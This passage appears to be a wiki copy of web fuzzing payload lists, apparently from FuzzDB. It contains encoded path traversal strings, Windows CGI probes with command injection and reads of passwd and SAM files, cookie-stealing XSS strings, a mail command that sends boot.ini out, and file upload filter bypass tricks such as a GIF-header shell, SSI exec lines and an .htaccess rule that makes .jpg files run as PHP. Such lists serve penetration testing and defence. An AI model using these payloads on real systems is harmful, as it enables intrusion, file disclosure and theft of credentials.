%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br 